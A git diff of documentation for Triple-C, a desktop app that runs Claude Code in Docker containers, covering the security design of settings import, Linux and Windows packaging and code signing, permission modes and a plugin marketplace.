The frontend holds the password in React state and passes it to both calls; nothing in Rust
|
||||
holds decrypted plaintext — secrets included — in memory for longer than one command's
|
||||
execution, so `apply_settings_import` always re-decrypts rather than reusing anything
|
||||
`preview_settings_import` computed. `preview_settings_import` returns counts and presence flags
|
||||
only (`SettingsImportPreview`), never a secret value, so it's safe to hand to the frontend and
|
||||
render directly.
|
||||
- **Import replaces settings wholesale, but only writes secrets actually present in the file.**
|
||||
An import is "restore this environment," so the settings half is a full replace, not a
|
||||
field-by-field merge. Secrets are different on purpose: an absent secret in the export means
|
||||
"the source machine never had this configured," not "delete this on import" — a user who wants
|
||||
to clear a secret already has dedicated UI for that (signing out of shared auth, clearing the
|
||||
gateway key). Secrets are restored *before* the settings replace runs, not after — replacing
|
||||
settings is what triggers `reconcile_gateway`, and restoring the other way round leaves a real
|
||||
window where a gateway recreation happens against the destination's old keys.
|
||||
- **A restored gateway secret nudges a running gateway container to recreate itself, even when
|
||||
nothing about the gateway's *shape* changed.** `reconcile_gateway`'s `gateway_shape_changed` only
|
||||
compares port/provider/base URL/models — deliberately, since that's what's rendered into the
|
||||
container's config — so a secret-only change (same shape, new key) is invisible to it. Left
|
||||
alone, a running container would keep serving the old key material indefinitely after an import
|
||||
that restored a new one. `apply_settings_import` tracks whether either gateway secret was
|
||||
actually written and, if the gateway is enabled and its container both exists and is running,
|
||||
calls `docker::gateway::ensure_gateway_running` directly afterward — its own fingerprint already
|
||||
includes the secret rotation id (`storage::secure::get_gateway_secret_version`), so it recreates
|
||||
exactly when it should and no more.
|
||||
- **A keychain write failing during import is reported back, not only logged.** Each of the three
|
||||
`secure::store_*` calls collects its error into `SettingsImportOutcome::secret_restore_warnings`
|
||||
in addition to logging it — an import that silently restores two of three secrets but not the
|
||||
third must not read as unqualified success just because the settings half of the import (which
|
||||
runs after, and is validated before any of this) went through. `apply_settings_import` returns
|
||||
`SettingsImportOutcome { settings, secret_restore_warnings }` rather than bare `AppSettings` for
|
||||
this reason; `ImportSettingsModal` shows any warnings alongside the "Settings imported" message.
|
||||
- **The imported settings are validated *before* any secret is written, not just before the
|
||||
settings replace.** `apply_settings_import` calls
|
||||
`settings_commands::validate_settings_update(¤t, &settings)` — the same checks
|
||||
`update_settings` runs internally, pulled out into its own function specifically so this caller
|
||||
can run them first — and only proceeds to the three keychain writes if that passes. A review
|
||||
caught the earlier ordering: writing secrets first meant a rejected import (a bad env var name, a
|
||||
disallowed host path) still left the keychain overwritten with the file's secrets while the
|
||||
settings themselves stayed unchanged, a silently half-applied state the error message gave no
|
||||
hint of.
|
||||
- **`read_and_decrypt` checks `format_version` before attempting to parse the full payload, not
|
||||
after.** A version bump that isn't deserialize-compatible is exactly the case that check exists
|
||||
for, and parsing the full struct first would fail on the shape mismatch before the version check
|
||||
ever ran. Neither error path interpolates what `serde_json` actually says into the message
|
||||
shown to the user — its type-mismatch errors quote the offending value inline, and the plaintext
|
||||
here can hold a live credential.
|
||||
- **The 8-character password minimum is enforced in `export_settings` itself, not only in the
|
||||
export modal.** The frontend minimum is a UX nudge; the Rust command is the actual boundary a
|
||||
weak password has to cross, and Argon2id's memory-hardness buys little against an attacker who
|
||||
can just try a short password directly. Measured with `.chars().count()` (Unicode scalar values)
|
||||
rather than `.len()` (bytes), to stay as close as this pair of languages allows to the frontend's
|
||||
`.length` check (UTF-16 code units) — the two only diverge on astral-plane characters. The
|
||||
derived key and both plaintext buffers — the payload built for export, and whatever `decrypt`
|
||||
recovers on import — are wrapped in `zeroize::Zeroizing` for the same reason every other secret
|
||||
in this codebase gets handled carefully — cheap insurance (`zeroize` is already pulled in
|
||||
transitively via `aes-gcm`) for material that exists only to hold or produce live credentials.
|
||||
- **The preview also discloses non-blank custom base URLs** (`global_ollama`, `global_llamacpp`,
|
||||
`global_openai_compatible`, `gateway.api_base`) so an import that would redirect model traffic to
|
||||
a different server is visible in the confirmation dialog rather than discovered later — these are
|
||||
endpoints, not secrets, so `SettingsImportPreview` carries and `describeImport` renders the actual
|
||||
URL rather than just a presence flag. `describeImportWarnings` additionally calls out a web
|
||||
terminal token that arrives with the terminal left *off*: `start_web_terminal` only mints a fresh
|
||||
token when none is already set, so a planted token would otherwise activate silently the next
|
||||
time someone turns the terminal on, with no import-time signal that it wasn't freshly generated.
|
||||
- **The preview also discloses a custom Docker image, and warns on one every time — not just on
|
||||
change.** `custom_image_name`/`image_source` weren't in scope for the base-URL disclosure above,
|
||||
but a review pointed out they're a sharper version of the same problem: this is the image *every*
|
||||
project container is created from (`models::container_config::resolve_image_name`), so a crafted
|
||||
export pointing it at an attacker-controlled image is a path to running arbitrary code with
|
||||
whatever a project's containers are allowed to reach, not merely a redirected API endpoint.
|
||||
`describeImportWarnings` fires on `image_source == Custom` unconditionally rather than only when
|
||||
it differs from the destination's current value, since re-importing the same risky configuration
|
||||
is still worth surfacing every time a user confirms an import.
|
||||
- **Every free-form string a preview surfaces is sanitized and length-capped before it's built.**
|
||||
`SettingsImportPreview::from_payload`'s `sanitize_for_preview` strips control characters and caps
|
||||
at 100 characters (`MAX_PREVIEW_STRING_LEN`) for every base URL and the custom image name — a
|
||||
review noted that, unlike the count- and boolean-derived fields the preview started with, these
|
||||
are verbatim strings from a not-yet-trusted decrypted payload rendered directly into the
|
||||
confirmation dialog. Unbounded, a single pathological value (very long, or holding embedded
|
||||
newlines) could push the security warnings above the scroll fold in the dialog that exists
|
||||
specifically to make them unmissable — the frontend's `<li>`/warning boxes also get `break-all`
|
||||
as a second layer against the same failure mode.
|
||||
|
||||
## Packaging
|
||||
|
||||
Linux ships as **AppImage only**, built by `build-app.yml` (releases) and
|
||||
`build-app-preview.yml` (the PR check). The `.deb` and `.rpm` were dropped: two more artifacts to
|
||||
build and publish for an audience the AppImage already serves, and neither could self-update. The
|
||||
Linux job passes `--bundles appimage`; `tauri.conf.json` still says `"targets": "all"` so macOS and
|
||||
Windows are untouched.
|
||||
|
||||
`scripts/finalize-appimage.sh` post-processes every AppImage, and both things it does are
|
||||
load-bearing. **It demotes the bundled `libwayland-client.so.0`** off the loader path, keeping it as
|
||||
a fallback for a host that has none: `libEGL_mesa.so.0` has a hard `DT_NEEDED` on that library, so a
|
||||
bundled copy older than the host's Mesa stops the EGL driver loading at all and the window comes up
|
||||
blank — measured on wayland 1.26 / Mesa 26.2.1 against a 22.04-built image. Do not "fix" this by
|
||||
bundling a newer wayland: the floor is set by the user's Mesa, which moves independently of our
|
||||
releases, so this is a host-coupled library like libGL and libdrm. **It also embeds AppStream
|
||||
metadata and update information**, without which an AppImage manager can adopt the app but never
|
||||
update it. The update URL points at a fixed `linux-latest` tag on the GitHub mirror
|
||||
(`scripts/publish-update-channel.sh`), never `releases/latest` — that follows whichever release is
|
||||
newest, and the backfill creates a GitHub release per Gitea tag including the `-win` and `-mac` ones
|
||||
that carry no AppImage. The script's post-repack assertions are the only test any of this has.
|
||||
|
||||
**There is deliberately no Arch package.** A
|
||||
`triple-c-bin` `PKGBUILD` and a `publish-arch-package.yml` existed and were removed; they live on
|
||||
`hold/arch-packaging`. Do not re-add them without the piece that was always missing: the package
|
||||
was never on the AUR, so it was a manual `pacman -U` of a downloaded file — the same gesture as
|
||||
the AppImage, for a second artifact to keep working. Being `workflow_dispatch`-only it also
|
||||
reached 1 release in 28, while `HOW-TO-USE.md` told Arch users to download it from every release.
|
||||
An AUR account and its SSH key as a repo secret are what would make it worth having; until then
|
||||
the AppImage is the Arch story.
|
||||
|
||||
`scripts/install-appimage.sh` is the desktop-integration half, and it exists because an AppImage
|
||||
has no installer: it extracts the bundled icons into `~/.local/share/icons/hicolor` and writes a
|
||||
`.desktop` entry. It **rewrites** the `Exec` line rather than copying the bundled entry — the
|
||||
bundled one is `Exec=triple-c`, which resolves only inside the AppImage's own mount, so a
|
||||
verbatim copy yields a launcher entry that starts nothing. It keeps `StartupWMClass` exactly as
|
||||
the bundle sets it, which is what lets the shell match the window to the entry. Extraction uses
|
||||
`--appimage-extract`, which needs no FUSE, so the script works before `fuse2` is installed.
|
||||
|
||||
### Windows code signing
|
||||
|
||||
Windows **releases** (`build-app.yml`) are signed with **Azure Artifact Signing**: the app binary,
|
||||
the MSI, the NSIS installer and its uninstaller. Three scripts do it, and "Verify signatures"
|
||||
fails the job if any of them is unsigned or untimestamped, so an unsigned installer cannot ship
|
||||
quietly. **PR previews are deliberately not signed**, and `build-app-preview.yml` must not
|
||||
reference the signing secrets. Two reasons: signing is metered (about 1000 signatures a month,
|
||||
against roughly 50 preview builds a month), and a PR's workflow runs the PR's own code, so a
|
||||
secret available there is available to whoever can push a branch. To exercise signing before a
|
||||
merge, dispatch `build-app.yml` on the branch. Every publishing step there is gated on
|
||||
`gitea.event_name == 'push'`, so a dispatch builds, signs and verifies without releasing.
|
||||
|
||||
- `scripts/windows-signing-setup.ps1` runs once per job. It downloads the signing client
|
||||
(`Microsoft.ArtifactSigning.Client`) and a .NET runtime into `.code-signing/` in the workspace,
|
||||
**each pinned by version and hash**, writes the dlib's `metadata.json`, and writes a Tauri
|
||||
config file with `bundle.windows.signCommand` that the build passes as
|
||||
`cargo tauri build --config`. Nothing is installed on the build VM. To bump
|
||||
a pin, take the hash from nuget.org / the .NET `releases.json`, never from your own download.
|
||||
- `scripts/windows-sign.ps1` is the sign command: `signtool sign /dlib` with SHA-256 and the
|
||||
Microsoft timestamp server, retried. Credentials never reach a command line — the dlib reads
|
||||
`AZURE_TENANT_ID` / `AZURE_CLIENT_ID` / `AZURE_CLIENT_SECRET` from the environment.
|
||||
**It signs only an allowlist of what ships**: 5 signatures per release (the app binary twice,
|
||||
because Tauri re-patches it between the MSI and NSIS bundles; the MSI; the NSIS installer;
|
||||
and its uninstaller). Tauri also presents build-time tools, the WiX extension DLLs and NSIS
|
||||
plugins, and signing those would more than double the metered count for no user-visible
|
||||
benefit. If the app ever ships resource DLLs or sidecars, extend the
|
||||
allowlist, or they will go out unsigned. Tauri reports a failed sign command only as
|
||||
"failed to run powershell", so the script keeps a transcript (`.code-signing/sign-output.log`,
|
||||
`signtool /debug` included), and the job prints it on failure.
|
||||
- `scripts/windows-verify-signatures.ps1` checks `signtool verify /pa` plus a timestamp on the
|
||||
installers, and on the binaries **inside** the MSI (an administrative `msiexec /a` extract).
|
||||
It deliberately does not check `target\release\triple-c.exe`: Tauri patches that file again
|
||||
after packaging, so the loose copy is unsigned by design and is not what ships. For the NSIS
|
||||
installer, which cannot be unpacked that way, it requires the signing log to show the app
|
||||
binary and the uninstaller were signed.
|
||||
|
||||
Secrets (repository): the three `AZURE_*` above plus `ARTIFACT_SIGNING_ENDPOINT`,
|
||||
`ARTIFACT_SIGNING_ACCOUNT_NAME`, `ARTIFACT_SIGNING_PROFILE_NAME`. They are referenced only by the
|
||||
two Windows steps of `build-app.yml` that need them ("Prepare code signing" and "Build Tauri
|
||||
app"), never by the preview workflow, never echoed, and never on a command line. The repo is
|
||||
public, so its Actions logs are too. Gitea masks the secret values, and the signing dlib's
|
||||
`/debug` output carries no tokens (checked against its strings). Anyone who can push to this
|
||||
repo can reach the secrets through a workflow file, so repo write access is the boundary.
|
||||
`main` is branch-protected (no direct or force pushes; changes land by merging a PR), so a signed
|
||||
release only ever comes from a merged, visible change. The
|
||||
Azure side should hold the rest: an app registration with only the signer role on this one
|
||||
certificate profile, and a client secret with an expiry. Four things are load-bearing:
|
||||
|
||||
- **`metadata.json` excludes every credential but `EnvironmentCredential`.** The dlib uses
|
||||
`DefaultAzureCredential`, whose chain ends in `InteractiveBrowserCredential`; the runners run as
|
||||
SYSTEM, where that waits forever for a browser.
|
||||
- **The sign command goes in through `--config`, never `TAURI_CONFIG`.** The v2 CLI does not read
|
||||
that variable — it only sets it, for tauri-build — so a config put there is dropped without an
|
||||
error. The Windows jobs set an inline `TAURI_CONFIG` for years and it never applied;
|
||||
"Verify signatures" is what exposed it, and it is what would catch a regression.
|
||||
- **The signing files and the job's `%TEMP%` live in the workspace.** The NSIS uninstaller is
|
||||
written to `%TEMP%` and signed from inside 32-bit `makensis`, under 32-bit PowerShell; WOW64
|
||||
redirects SYSTEM's own `%TEMP%` (under System32) for those processes but not for the x64
|
||||
signtool, so they would disagree about where the file is. The workspace is under
|
||||
`systemprofile\.cache`, which the VM junctions so both views resolve. makensis also ignores
|
||||
the sign command's exit code for the uninstaller, so `windows-sign.ps1` logs every file it
|
||||
signs and the verify step requires a logged signature under that temp directory.
|
||||
- **The build VM is `WindowsBuilder` (VM 110 on the Proxmox host `pve4`)**, carrying both the
|
||||
`winvm-builder` and `virtual-builder` runners in host mode. It has the Windows SDK's
|
||||
`signtool` (10.0.26100) but no .NET — hence the job-local runtime.
|
||||
|
||||
## Testing
|
||||
|
||||
Frontend tests use Vitest with jsdom environment and React Testing Library. Setup file at `src/test/setup.ts`. Run a single test file:
|
||||
@@ -559,3 +948,10 @@ Frontend tests use Vitest with jsdom environment and React Testing Library. Setu
|
||||
cd app
|
||||
npx vitest run src/path/to/test.test.ts
|
||||
```
|
||||
|
||||
CI runs both suites on every PR: the `test` job in `.gitea/workflows/build-app-preview.yml` does
|
||||
`npm run build`, `npx vitest run` and `cargo test --locked`, in parallel with the platform builds.
|
||||
It is the only place `cargo test` runs on merge, which matters most for the app-command ACL
|
||||
census — an ungranted command compiles and only fails at runtime. `build-app.yml` (releases
|
||||
from `main`) deliberately does not repeat it. The runner is root, so the few Rust tests that
|
||||
exercise file permissions skip themselves there.
|
||||
|
||||
+132
-9
@@ -6,6 +6,7 @@ Triple-C (Claude-Code-Container) is a desktop application that runs Claude Code
|
||||
|
||||
## Table of Contents
|
||||
|
||||
- [Installation](#installation)
|
||||
- [Prerequisites](#prerequisites)
|
||||
- [First Launch](#first-launch)
|
||||
- [The Interface](#the-interface)
|
||||
@@ -14,6 +15,7 @@ Triple-C (Claude-Code-Container) is a desktop application that runs Claude Code
|
||||
- [Permission Modes](#permission-modes)
|
||||
- [Project Configuration](#project-configuration)
|
||||
- [Shared Claude Authentication](#shared-claude-authentication)
|
||||
- [Marketplace](#marketplace)
|
||||
- [Opening URLs in Your Browser (URL Relay)](#opening-urls-in-your-browser-url-relay)
|
||||
- [Browser Logins Inside the Container (Auth Bridge)](#browser-logins-inside-the-container-auth-bridge)
|
||||
- [AWS Bedrock Configuration](#aws-bedrock-configuration)
|
||||
@@ -32,6 +34,65 @@ Triple-C (Claude-Code-Container) is a desktop application that runs Claude Code
|
||||
|
||||
---
|
||||
|
||||
## Installation
|
||||
|
||||
Download the build for your platform from [GitHub Releases](https://github.com/shadowdao/triple-c/releases/latest).
|
||||
|
||||
| Platform | File | Install |
|
||||
|----------|------|---------|
|
||||
| **Windows** | `Triple-C_<version>_x64-setup.exe` or `.msi` | Run the installer. |
|
||||
| **macOS** | `Triple-C_<version>_universal.dmg` | Open the `.dmg` and drag Triple-C to Applications. |
|
||||
| **Linux (all distributions)** | `Triple-C_<version>_amd64.AppImage` | `chmod +x` it, then run it directly. See the AppImage notes below. |
|
||||
|
||||
> **macOS note:** The app is not signed or notarized. On first launch, macOS Gatekeeper may block it — right-click the app and select "Open" to bypass, or remove the quarantine attribute: `xattr -cr /Applications/Triple-C.app`.
|
||||
|
||||
> **AppImage note:** Two things are worth knowing. Running an AppImage needs FUSE 2, which Arch and CachyOS do not install by default — `sudo pacman -S fuse2` once, or run it with `--appimage-extract-and-run` to sidestep FUSE entirely. And an AppImage is just an executable file: nothing registers it with the desktop, so it will not appear in your app launcher on its own. Run [`scripts/install-appimage.sh`](scripts/install-appimage.sh) to add a launcher entry and icons — see [Adding an AppImage to the app launcher](#adding-an-appimage-to-the-app-launcher).
|
||||
|
||||
> **Linux is AppImage only.** The `.deb` and `.rpm` were dropped. They were a second and third artifact to build, test and publish for an audience already served by the one file that runs on every distribution — and unlike the AppImage they could not be kept up to date automatically. Older releases still carry them if you need one.
|
||||
|
||||
> **Updates.** The AppImage carries update information, so an AppImage manager (Gear Lever, AppImageLauncher and similar) can adopt it and update it in place — pulling only the changed blocks rather than re-downloading 85 MB. It reads a fixed `linux-latest` tag on GitHub, so the URL never moves between versions.
|
||||
|
||||
> **No Arch package.** There was a `triple-c-bin` `.pkg.tar.zst` attached to some releases, built by a maintainer-triggered workflow. It was never on the AUR, so installing it meant downloading a file and running `pacman -U` — no better than the AppImage — and being manual-only it reached 1 release in 28, which made the promise of it worse than not making it. The `PKGBUILD` and its workflow are preserved on the `hold/arch-packaging` branch if an AUR package is ever worth doing properly.
|
||||
|
||||
### Adding an AppImage to the app launcher
|
||||
|
||||
An AppImage is a single executable file and nothing else. It carries a `.desktop`
|
||||
entry and icons *inside* itself, but nothing on your system ever reads them,
|
||||
because nothing installed it — so it will not show up in your app launcher, and
|
||||
running it from a file manager gives you a generic icon in the taskbar.
|
||||
|
||||
Put the AppImage somewhere stable first — `~/Apps` or `~/.local/bin`, not
|
||||
`~/Downloads` — because the launcher entry points at wherever the file is:
|
||||
|
||||
```bash
|
||||
mkdir -p ~/Apps
|
||||
mv ~/Downloads/Triple-C_*_amd64.AppImage ~/Apps/
|
||||
./scripts/install-appimage.sh ~/Apps/Triple-C_0.4.17_amd64.AppImage
|
||||
```
|
||||
|
||||
That copies the bundled icons into `~/.local/share/icons/hicolor` and writes
|
||||
`~/.local/share/applications/triple-c.desktop` pointing at the file you named.
|
||||
No sudo, nothing outside your home directory, and the AppImage itself is never
|
||||
copied or moved. To remove the entry again:
|
||||
|
||||
```bash
|
||||
./scripts/install-appimage.sh --uninstall
|
||||
```
|
||||
|
||||
The script rewrites the `Exec` line rather than reusing the bundled `.desktop`
|
||||
verbatim: the bundled one says `Exec=triple-c`, which resolves only inside the
|
||||
running AppImage's own mount, so a launcher entry copied straight out of the
|
||||
bundle would appear in the menu and then fail to start anything.
|
||||
|
||||
Two follow-ups worth knowing:
|
||||
|
||||
- **Upgrading.** The entry names one specific file. If you replace the AppImage
|
||||
with a newer version under a different filename, re-run the script against the
|
||||
new one. Keeping a stable name (`~/Apps/Triple-C.AppImage`) avoids this.
|
||||
- **The icon may not appear until you log out.** That is the desktop shell's
|
||||
icon cache, not a failed install — see
|
||||
[App Icon Missing After Installing (Linux)](#app-icon-missing-after-installing-linux).
|
||||
|
||||
## Prerequisites
|
||||
|
||||
### Docker
|
||||
@@ -183,7 +244,7 @@ Anthropic-backend project uses that token without its own login. See
|
||||
│ │ │ │ │
|
||||
│ │ └──────────────────────────────────────────────────┘ │
|
||||
├─────────────┴────────────────────────────────────────────────────────┤
|
||||
│ 2 project(s) · 1 running · 2 terminal(s) Jump to Current ↓ │
|
||||
│ 2 project(s) · 1 running · 2 terminal(s) Notes │
|
||||
└──────────────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
@@ -208,8 +269,8 @@ Anthropic-backend project uses that token without its own login. See
|
||||
- **Main area** — Shows the active tab: a Project Home view or an xterm.js terminal. With no tabs
|
||||
open you get a welcome screen with Docker/image/project readiness checks.
|
||||
- **StatusBar** — Counts of total projects, running containers and open terminal sessions; the
|
||||
**Jump to Current ↓** button when a terminal is scrolled up; and the microphone button when
|
||||
speech-to-text is enabled.
|
||||
**🖱 Mouse captured — release** button while a program in the terminal is holding the mouse; the
|
||||
**Notes** toggle; and the microphone button when speech-to-text is enabled.
|
||||
|
||||
---
|
||||
|
||||
@@ -409,6 +470,7 @@ replaces the old Full Permissions on/off switch.
|
||||
| **Plan** | Proposes a plan and makes no changes | `--permission-mode plan` |
|
||||
| **Default** | Asks before each tool call | *(nothing — Claude Code's own default)* |
|
||||
| **Accept Edits** | Auto-approves file edits; other tools still prompt | `--permission-mode acceptEdits` |
|
||||
| **Auto** | A safety classifier approves routine actions and blocks risky ones, without prompting | `--permission-mode auto` |
|
||||
| **Bypass** | Auto-approves every tool call | `--dangerously-skip-permissions` |
|
||||
|
||||
New projects start in **Default**. Projects created before permission modes existed keep behaving
|
||||
@@ -420,12 +482,19 @@ the way they did: one that had Full Permissions on becomes **Bypass**, one that
|
||||
> has Docker socket access or reaches services on your network. The Overview tab tells you whether
|
||||
> the in-container sandbox is also on.
|
||||
|
||||
**Auto** sits between Accept Edits and Bypass: Claude Code's own classifier reviews each action,
|
||||
lets routine work through and blocks things that look risky (such as destructive or
|
||||
exfiltrating commands) — no prompts either way. Whether it is available depends on your Claude
|
||||
Code account, model and backend (local and OpenAI-compatible backends usually won't
|
||||
qualify). When it isn't available, Claude Code quietly starts in its normal prompting mode
|
||||
instead.
|
||||
|
||||
### When a change takes effect
|
||||
|
||||
- **Terminals** — the mode is applied when a terminal is opened, so it affects terminals you open
|
||||
from then on. A Claude session that is already running keeps the permissions it started with;
|
||||
close the tab and open a new terminal to change it. The badge on each terminal tab shows the mode
|
||||
that terminal was launched with (`plan`, `ask`, `edits`, `bypass`).
|
||||
that terminal was launched with (`plan`, `ask`, `edits`, `auto`, `bypass`).
|
||||
- **Resumed sessions** — a session resumed from the **Sessions** tab uses the project's current
|
||||
mode.
|
||||
- **Scheduled tasks** — these now honour the permission mode too (they previously always ran with
|
||||
@@ -434,8 +503,10 @@ the way they did: one that had Full Permissions on becomes **Bypass**, one that
|
||||
mode change to reach the scheduler.
|
||||
|
||||
> Scheduled tasks run headless (`claude -p`) and cannot answer a permission prompt. In any mode
|
||||
> other than **Bypass**, a task may simply stop early when Claude Code asks for approval. Its run
|
||||
> log records which mode it used.
|
||||
> other than **Auto** or **Bypass**, a task may simply stop early when Claude Code asks for
|
||||
> approval. In **Auto**, actions the classifier blocks are denied and the run carries on without
|
||||
> them — but if Auto isn't available for the project's model or backend, Claude Code falls back
|
||||
> to prompting and the task can stall the same way. Its run log records which mode it used.
|
||||
|
||||
---
|
||||
|
||||
@@ -703,6 +774,28 @@ is next started, at which point the same recreation clears the variable.
|
||||
|
||||
---
|
||||
|
||||
## Marketplace
|
||||
|
||||
The marketplace installs Claude Code **agents, skills, commands, hooks and plugins** from git repositories into your containers.
|
||||
|
||||
1. **Settings → Marketplace → Open Marketplace** opens the Marketplace tab.
|
||||
2. **Add a marketplace**: on the Browse tab choose *Add marketplace* and enter an HTTPS clone URL, for example `https://github.com/shadowdao/triple-c-marketplace.git`. For a private repository, pick an account (see below). Triple-C checks it can read the repository before saving.
|
||||
3. **Install**: select an item to see what it contains. Turn on **All projects** to install it everywhere (including projects you add later), or tick individual projects. A project can opt out of an "All projects" item by unticking it, or from **Project → Config → Marketplace**.
|
||||
4. **Hooks** run shell commands, so Triple-C shows every command before installing one.
|
||||
5. **When it applies**: on the container's next start, or straight away for running containers with **Installed → Apply now**. New Claude sessions pick it up; sessions already open keep what they loaded.
|
||||
|
||||
**Updates.** Every install is pinned to the commit it came from. When an item changes in its repository, the Installed tab shows *Update available*. Review the diff and accept to move the pin.
|
||||
|
||||
**Accounts (private repositories).** On the Accounts tab:
|
||||
- *GitHub via gh* — if the GitHub CLI is installed and logged in on this computer, Triple-C uses it. If not, it runs `gh auth login` inside a running project's container and keeps only the resulting token in your OS keychain.
|
||||
- *Access token* — any host (GitHub, Gitea, GitLab). The token is stored in your OS keychain.
|
||||
|
||||
Credentials never enter containers. If a private repository in a GitHub organisation cannot be read, the error explains the usual causes: the org has not approved the GitHub CLI, the token is not authorised for the org's SSO, or a fine-grained token belongs to a different owner.
|
||||
|
||||
**If an item is skipped**: Triple-C never overwrites an agent, skill or command file you created yourself. If one has the same name as a marketplace item, the sync skips it and the project's Config → Marketplace section says so.
|
||||
|
||||
---
|
||||
|
||||
## Opening URLs in Your Browser (URL Relay)
|
||||
|
||||
There is no browser inside the container and no screen to put one on. Any tool that tries to open
|
||||
@@ -1164,9 +1257,31 @@ Programs inside the container can copy text to your host clipboard. When a conta
|
||||
|
||||
You can paste images from your clipboard into the terminal (Ctrl+V / Cmd+V). The image is uploaded to the container as `/tmp/clipboard_<timestamp>.png` and the file path is injected into the terminal input so Claude Code can reference it. A toast notification confirms the upload.
|
||||
|
||||
### Jump to Current
|
||||
### Scrolling
|
||||
|
||||
When you scroll up in the terminal to review previous output, a **Jump to Current** button appears in the bottom-right corner. Click it to scroll back to the latest output.
|
||||
Scrolling is the terminal's own: scroll up to read back and it holds position, scroll to the
|
||||
bottom and it follows new output again. There is no follow toggle — an earlier **Following /
|
||||
Paused** control and a **Jump to Current** button were retired once they stopped doing anything
|
||||
useful, because Claude Code draws its interface on the alternate screen, which has no scrollback
|
||||
for them to act on.
|
||||
|
||||
### When the mouse stops working
|
||||
|
||||
Some programs ask the terminal for the mouse, so that clicks and drags go to the program instead
|
||||
of selecting text. If one of them exits without handing the mouse back, the terminal looks stuck:
|
||||
you cannot select text, and stray characters can appear as you move the pointer.
|
||||
|
||||
A **🖱 Mouse captured — release** button appears in the status bar whenever a program holds the
|
||||
mouse. Click it, or press **Ctrl+Shift+X**, to take the mouse back. Nothing is sent into the
|
||||
container — only the terminal's own state is reset.
|
||||
|
||||
Note that holding the mouse is normal for programs like `htop`, `vim` and Claude Code itself, so
|
||||
the button is showing most of the time you are in one. It is there for when a program exits
|
||||
without handing the mouse back and the terminal is left stuck; releasing while a program is still
|
||||
running just takes the mouse away from that program.
|
||||
|
||||
To select text *without* taking the mouse back, hold **Shift** while dragging — or **Option** on
|
||||
macOS.
|
||||
|
||||
### Files
|
||||
|
||||
@@ -1267,7 +1382,9 @@ Scheduled runs use the project's [permission mode](#permission-modes) — they n
|
||||
with `--dangerously-skip-permissions`. Because the mode travels into the container as an
|
||||
environment variable, **stop and start the project** after changing it for the scheduler to see the
|
||||
change. Remember that a headless run cannot answer a permission prompt, so in any mode other than
|
||||
**Bypass** a task may stop early when Claude Code asks for approval; the run log records the mode
|
||||
**Auto** or **Bypass** a task may stop early when Claude Code asks for approval (in Auto, blocked
|
||||
actions are denied instead, unless Auto is unavailable and Claude Code falls back to
|
||||
prompting); the run log records the mode
|
||||
that was used.
|
||||
|
||||
### Creating Tasks
|
||||
@@ -1536,3 +1653,9 @@ cp ~/.claude.json ~/.claude.json.bak && jq 'with_entries(select(.key | startswit
|
||||
```
|
||||
|
||||
This backs up your config and removes the corrupted marketplace entries. Claude Code will re-download them cleanly on the next startup.
|
||||
|
||||
### App Icon Missing After Installing (Linux)
|
||||
|
||||
If Triple-C's icon shows as generic or blank right after installing — in the app menu, taskbar, and window titlebar alike — **log out and back in.**
|
||||
|
||||
Desktop shells (GNOME Shell, KDE Plasma) cache the list of installed apps and their resolved icons in memory when the shell starts, for performance. A freshly installed package's icon files land on disk correctly and its install hooks do rebuild the on-disk icon cache, but an already-running shell doesn't always notice — on X11 there used to be a way to soft-restart just the shell (GNOME's Alt+F2 → `r`) to force a reload, but under Wayland the shell *is* the compositor, so restarting it means ending the session. Logging out and back in starts a fresh shell that reads the current on-disk state, which picks the icon up.
|
||||
|
||||
@@ -114,7 +114,7 @@ progress modal.
|
||||
|
||||
## Permission Modes
|
||||
|
||||
`PermissionMode` in `models/project.rs` replaces the old `full_permissions` boolean. Four states,
|
||||
`PermissionMode` in `models/project.rs` replaces the old `full_permissions` boolean. Five states,
|
||||
mapped to CLI flags by `PermissionMode::cli_args()`:
|
||||
|
||||
| Mode | Serialized | CLI args passed to `claude` |
|
||||
@@ -122,6 +122,7 @@ mapped to CLI flags by `PermissionMode::cli_args()`:
|
||||
| **Plan** | `plan` | `--permission-mode plan` |
|
||||
| **Default** | `default` | *(none)* |
|
||||
| **Accept Edits** | `acceptEdits` | `--permission-mode acceptEdits` |
|
||||
| **Auto** | `auto` | `--permission-mode auto` |
|
||||
| **Bypass** | `bypass` | `--dangerously-skip-permissions` |
|
||||
|
||||
`Project.permission_mode` is `Option<PermissionMode>`; `effective_permission_mode()` falls back to
|
||||
@@ -528,10 +529,10 @@ Triple-C includes optional speech-to-text powered by [Faster Whisper](https://gi
|
||||
| `app/src/components/layout/TopBar.tsx` | Hosts MainTabs + Docker/Image status indicators + Help |
|
||||
| `app/src/components/layout/MainTabs.tsx` | The single main-area tab strip (Project Home + terminal tabs), pointer-event drag reordering |
|
||||
| `app/src/components/layout/Sidebar.tsx` | Responsive sidebar (25% width, min 224px, max 320px), collapsible to an icon rail |
|
||||
| `app/src/components/layout/StatusBar.tsx` | Project/terminal counts, Jump to Current, STT mic |
|
||||
| `app/src/components/layout/StatusBar.tsx` | Project/terminal counts, Notes toggle, STT mic |
|
||||
| `app/src/components/projects/ProjectRow.tsx` | Select-only sidebar row; opens Project Home, with hover start/stop and terminal controls |
|
||||
| `app/src/components/projects/ProjectList.tsx` | Project list in sidebar |
|
||||
| `app/src/components/projects/PermissionModeControl.tsx` | Plan / Default / Accept Edits / Bypass segmented control |
|
||||
| `app/src/components/projects/PermissionModeControl.tsx` | Plan / Default / Accept Edits / Auto / Bypass segmented control |
|
||||
| `app/src/components/ui/` | Shared primitives: `Modal`, `Button`, `Toggle`, `Field`, `SegmentedControl`, `StatusIndicator`, `SaveIndicator`, `OverflowMenu`, `ToastHost`, `Tooltip` |
|
||||
| `app/src/hooks/useKeyboardShortcuts.ts` | `Ctrl+T`, `Ctrl+Shift+W`, `Ctrl+Tab`, `Ctrl+1..9`, `Ctrl+Shift+←/→` |
|
||||
| `app/src/hooks/useContainerProgress.ts` | `container-progress` event → inline progress lines |
|
||||
|
||||
+1
-1
@@ -58,7 +58,7 @@ choice it never asked about.
|
||||
|
||||
Also covered: per-project auth backends (Anthropic OAuth, Bedrock incl. SSO refresh,
|
||||
Ollama, OpenAI-compatible), user-level `CLAUDE.md` composition, `claude update` on every
|
||||
container start, terminal ergonomics (OAuth URL detection, OSC 52 clipboard, image paste,
|
||||
container start *and* before every Claude session launches, terminal ergonomics (OAuth URL detection, OSC 52 clipboard, image paste,
|
||||
file drag-drop, STT), the web terminal, and workspace backup.
|
||||
|
||||
---
|
||||
|
||||
+9
-11
